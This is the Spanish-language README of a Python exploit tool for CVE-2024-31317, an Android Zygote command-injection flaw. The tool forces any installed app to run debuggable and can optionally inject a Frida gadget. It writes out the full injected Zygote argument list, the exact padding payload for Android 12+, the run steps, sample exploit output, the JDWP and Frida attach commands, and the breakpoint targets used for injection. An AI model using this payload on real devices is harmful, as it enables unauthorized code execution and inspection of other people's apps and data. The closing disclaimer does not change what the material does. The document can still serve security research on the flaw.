
CVE-2024-31317 Exploit de aplicación depurable
Un exploit basado en Python para CVE-2024-31317 (Inyección de Zygote en Android) que hace que cualquier aplicación Android instalada sea depurable inyectando argumentos maliciosos de zygote a través del ajuste hidden_api_blacklist_exemptions. Incluye inyección opcional de gadget de Frida para hooking en tiempo de ejecución.
Este exploit aprovecha una vulnerabilidad de inyección de comandos en el proceso Zygote de Android para iniciar aplicaciones de destino con la bandera debuggable habilitada. Esto permite la depuración e inspección JDWP de cualquier aplicación sin necesidad de acceso root ni de la versión de depuración de la aplicación.
Basado en la investigación de: Análisis de CVE-2024-31317 por Flanker
Insight clave: "el campo runtime-flags en ZygoteArguments se puede usar para habilitar el atributo debuggable de una aplicación."
runtime-flags=65535 para habilitar la depuración.ppadb, jdwplibColoque los siguientes archivos en el mismo directorio:
├── CVE-2024-31317-Debuggable.py # Script principal del exploit
├── jdwplib.py # Biblioteca cliente JDWP
├── app-debug.apk # Aplicación auxiliar depurable
├── frida-gadget-android-*.so # Gadget de Frida (opcional)
├── frida-gadget.config.so # Configuración de Frida (opcional)
└── win32/adb.exe # Binario ADB para Windows
python CVE-2024-31317-Debuggable.py
El script le pedirá que seleccione un modo de detección de parámetros:
==================================================
Exploit CVE-2024-31317
==================================================
[1] Detectar parámetros automáticamente
[2] Valores predefinidos
Modo (1/2) [1]:
Fase 1: Extraer startSeq
startSeq de los marcos de pilaFase 2: Inyectar argumentos de Zygote
runtime-flags=65535 (depurable)hidden_api_blacklist_exemptionsFase 3: Post-explotación
==================================================
Exploit CVE-2024-31317
==================================================
[1] Detectar parámetros automáticamente
[2] Valores predefinidos
Modo (1/2) [1]: 1
[INFO] Fase 1: Extraer startSeq
[INFO] com.debug.app ya está instalado
[INFO] Configurando depurable
[INFO] Iniciando com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] Puerto JDWP: 8700
[INFO] Suspendiendo VM
[INFO] Escaneando 42 marcos
[INFO] startSeq: 123456
[INFO] Fase 2: Explotar com.debug.configurator
[INFO] Detectando parámetros para com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Carga útil: 8765 bytes
[INFO] Reiniciando objetivo
[INFO] Hecho
[INFO] PID objetivo: 23456
[INFO] JDWP: 8701
¿Inyectar Frida? (y/N):
Edite las constantes en la parte superior del script:
TARGET_APP = "com.debug.configurator" # Change to your target package
DEBUG_APP = "com.debug.app" # Helper debuggable app
DEBUG_APK = "app-debug.apk" # APK file for helper app
Modo de detección automática (recomendado):
pm list packages -U para obtener el UIDdumpsys package para obtener el conjunto de instrucciones y el directorio de datosModo de valores predefinidos:
Después de que el exploit tenga éxito, puede inyectar opcionalmente el gadget de Frida:
¿Inyectar Frida? (y/N): y
El script:
frida-gadget.so a /data/local/tmp/run-asEl script prueba estos puntos de interrupción en orden de fiabilidad:
Los puntos de interrupción superiores deberían activarse automáticamente. Si expiran, toque la aplicación para activar los puntos de interrupción de respaldo.
Después de una inyección exitosa:
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget
# List processes
frida-ps -H 127.0.0.1:27042
Una vez que el exploit tiene éxito, la aplicación objetivo se ejecuta con la depuración habilitada:
Conectar con el depurador JDWP:
jdb -attach localhost:8701
Usar el depurador de Android Studio - Adjuntar al proceso en el puerto reenviado
Usar Frida - Si se inyectó el gadget mediante el script
CVE-2024-31317 es una vulnerabilidad de inyección de comandos en el proceso Zygote de Android. Al manipular el ajuste del sistema hidden_api_blacklist_exemptions con una entrada especialmente diseñada, podemos inyectar argumentos arbitrarios de zygote cuando se inicia una aplicación.
Extracción de startSeq: Cada inicio de aplicación tiene un número de secuencia único. Lo extraemos de una aplicación depurable vía JDWP inspeccionando las variables del marco de pila.
Construcción de la carga útil: Construimos argumentos de zygote que incluyen:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # Habilita todas las banderas de depuración
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Inyección: La carga útil se inyecta en el ajuste del sistema con un relleno específico para Android 12+:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
Disparador: Detener forzosamente y reiniciar la aplicación objetivo, que se inicia con nuestros argumentos inyectados y la bandera depurable habilitada.
La inyección de Frida funciona:
Runtime.load() para cargar la biblioteca compartida del gadget de Frida"Error al obtener startSeq"
"No se alcanzó ningún punto de interrupción" durante la inyección de Frida
Conexión de Frida rechazada
adb forward --listadb forward tcp:27042 tcp:27042Esta herramienta es solo para fines educativos y de investigación de seguridad autorizada. Úsela únicamente en dispositivos que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal y no ético. Los autores no se hacen responsables del mal uso de esta herramienta.
Licencia MIT - Consulte el archivo LICENSE para obtener más detalles.
| Clase | Método | Activación |
|---|
android.os.MessageQueue | next | Automático - el looper principal sondea constantemente |
android.os.Binder | execTransact | Automático - cualquier llamada IPC/binder |
android.app.ActivityThread | handleMessage | Automático - el manejador principal de la app |
android.os.Handler | dispatchMessage | Automático - envío de mensajes |
android.os.Handler | handleMessage | Automático - manejo de mensajes |
android.view.Choreographer | doFrame | Automático - callbacks de fotogramas |
android.view.View | dispatchTouchEvent | Manual - requiere toque |
android.view.View | onDraw | Manual - requiere redibujado de UI |